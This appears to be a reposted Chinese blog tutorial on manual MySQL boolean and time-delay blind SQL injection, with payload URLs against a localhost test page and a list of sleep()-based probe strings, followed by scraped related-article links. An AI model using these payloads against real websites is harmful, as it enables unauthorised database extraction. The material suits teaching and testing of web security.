作者:Max老白Gān丶
链接:http://www.lofter.com/lpost/1fefbc76_12d25dc31
来源:LOFTER

  • 注入常用到的几个函数
  •  
    1
    mid(str,1,3)

    字符串获取

    这里我们要看到123456789 从第一个字节也就是1开始获取到3就截止了

  •  
    1
    ORD()

    转换为ASCII码

    我们看到这里把a转换成了97 我们去看对照表

  • 1
    Length()

    统计字节长度

  •  
    1
    version()

    查看数据库版本

  •  
    1
    database()

    查看数据库

  •  
    1
    user()

    查看当前用户

首先我们确定注入了验证要先获取数据库长度

1
2
and length(database())
or length(database())

我们先看一下数据库中sqltest长度【其实就是7个】

小知识点:有数据用and 没数据用or

1
http://localhost/test.php?id=1and length(database()) >1 #
1
and length(database()) >1 #:

意思是数据库的长度是否大于1
没有变化以此类推
发现变换

这时候我们要确定他到底是多少字节

 
1
http://localhost/test.php?id=1' and length(database()) = 8 %23

他等于8吗?不等于

他等于6吗?不等于

他等于7返回正确页面说明他的字节是7

现在我们获取数据库名字:

1
http://localhost/test.php?id=1' and mid(database(),1,1) ='1'%23
 
1
mid(database(),1,1) ='1'

:它的意思是从第一个获取每次只取一个 它等于1吗?
很显然不等

然后修改后面的以此类推我们试到

 
1
http://localhost/test.php?id=1' and mid(database(),1,1) ='s'%23

返回true的正确页面

如果我们想获取第二位第三位怎么办?

 
1
2
3
4
5
6
7
mid(database(),2,1)
mid(database(),3,1)
mid(database(),4,1)
mid(database(),5,1)
mid(database(),6,1)
mid(database(),7,1)
http://localhost/test.php?id=1' and mid(database(),2,1)  ='q'%23

剩下的我就不一一获取了学习这样方式就明白了。

延时注入方法:

常用的判断语句:

1
2
3
4
5
6
7
8
9
' and if(1=0,1, sleep(10)) --+   
 
" and if(1=0,1, sleep(10)) --+
 
) and if(1=0,1, sleep(10)) --+
 
') and if(1=0,1, sleep(10)) --+
 
") and if(1=0,1, sleep(10)) --+

为什么我和布尔注入写在一个文章里面哪?因为他们操作的流程是差不多的。

延时了10秒确定存在注入。

获取数据库长度利用上面的知识:

1
'and if(length(database())=9,sleep(10),1)--+

意思是如果数据过长度等于9他就延时10秒

1
'and if(length(database())<6,sleep(10),1)--+

如果一开始不知道他长度可以用这个大致判断的长度然后用上面的等于确定
长度小于6吗?没有延迟不小于6


小于9吗?

延迟成功表名数据库小于9 也就是说数据库长度在6-9之间

1
'and if(length(database())=7,sleep(10),1)--+

一 一测试我们确定长度是7

获取数据库名字:

1
http://localhost/test.php?id=1' and if(mid(database(),1,1) ='s',sleep(10),1)--+

十几分钟让你学会MySQL布尔和延迟盲注手工操作的更多相关文章

  1. mysql基于“时间”的盲注

    无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...

  2. DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

    DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...

  3. Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)

    Day41 login3(SKCTF)

  4. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

  5. [MYSQL手工注入](2)基于布尔的SQL盲注实战

    0x02 MYSQL 手工注入实战--基于布尔的SQL盲注 前言,之前有对MYSQL基于报错的手工注入进行过介绍,但今天的实验环境,并不是基于报错的SQL注入,而是一个基于布尔的SQL盲注测试流程. ...

  6. 盲注----基于布尔的SQL盲注

    构造逻辑判断常用字符串截取函数http://www.cnblogs.com/yyccww/p/6054569.html常用函数left(a,b)  从左侧截取a的前b位right(a,b)  从右侧截 ...

  7. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  8. 半天做完的数据报表,YonBuilder只要十几分钟,0代码开发

    进入数字化时代,拍脑袋的决策方式显然不靠谱,一切要靠数据说话.与信息化时代相比,数字化时代的企业对数据的应用更广泛.更深入.为了应对激烈的市场竞争,企业经营决策者们对数据的依赖度越来越高,企业各个业务 ...

  9. 【转载】一个小时学会MySQL数据库

    一个小时学会MySQL数据库   目录 一.数据库概要 1.1.发展历史 1.1.1.人工处理阶段 1.1.2.文件系统 1.1.3.数据库管理系统 1.2.常见数据库技术品牌.服务与架构 1.3.数 ...

随机推荐

  1. Tomcat8.0.11优化相关

    Tomcat 8.0.X: 要了解tomcat的优化,我们先看看Tomcat的官方定义:The Apache Tomcat® software is an open source implementa ...

  2. Restful 接口开发 完整版

    准备: springboot ssm框架 项目结构:注意 Swagger2Config要和springboot的启动类放在同一级 //pom所需的依赖 <dependency> <g ...

  3. Spring Session产生的sessionid与cookies中的sessionid不一样的问题 && httpOnly 设置不起作用的问题??

    背景: Springboot 2.0 (spring-session-data-redis + spring-boot-starter-web) 需求: 通过cookies中取到的 sessionid ...

  4. python-常见数据类型及其方法

    常见数据类型及其方法 1.None: 表示空(无任何功能,专门用于提供空值) 2.整形(int) 3.布尔类型(bool) 只有两个结果:True/False: 0/''/[]/()/{}/set() ...

  5. C++ STL容器总结

    1.    STL 容器 1.    按种类划分 顺序容器( sequence containers):是一种各元素之间有顺序关系的线性表,是一种线性结构的可序群集.顺序性容器中的每个元素均有固定的位 ...

  6. pyzmq学习笔记

    前言 使用过简单的python的ZMQ:server开启3个线程,client发送心跳包,如果服务端超过n秒没应答,则重新连接. 网上找的案例,server使用的zmq.device,但是一直不明白什 ...

  7. js过滤html标签

    function deleteHtmlTag(str){ str = str.replace(/<[^>]+>|&[^>]+;/g,"").trim ...

  8. python 判断连个 Path 是否是相同的文件夹

    python 判断连个 Path 是否是相同的文件夹 import os os.path.normcase(p1) == os.path.normcase(p2) normcase() 在 windo ...

  9. Alpha冲刺(5/10)——2019.4.27

    作业描述 课程 软件工程1916|W(福州大学) 团队名称 修!咻咻! 作业要求 项目Alpha冲刺(团队) 团队目标 切实可行的计算机协会维修预约平台 开发工具 Eclipse 团队信息 队员学号 ...

  10. C++函数返回值为类对象但未调用复制构造函数

    参考资料:https://blog.csdn.net/sxhelijian/article/details/50977946 不要迷信书本,要学会自己调试程序.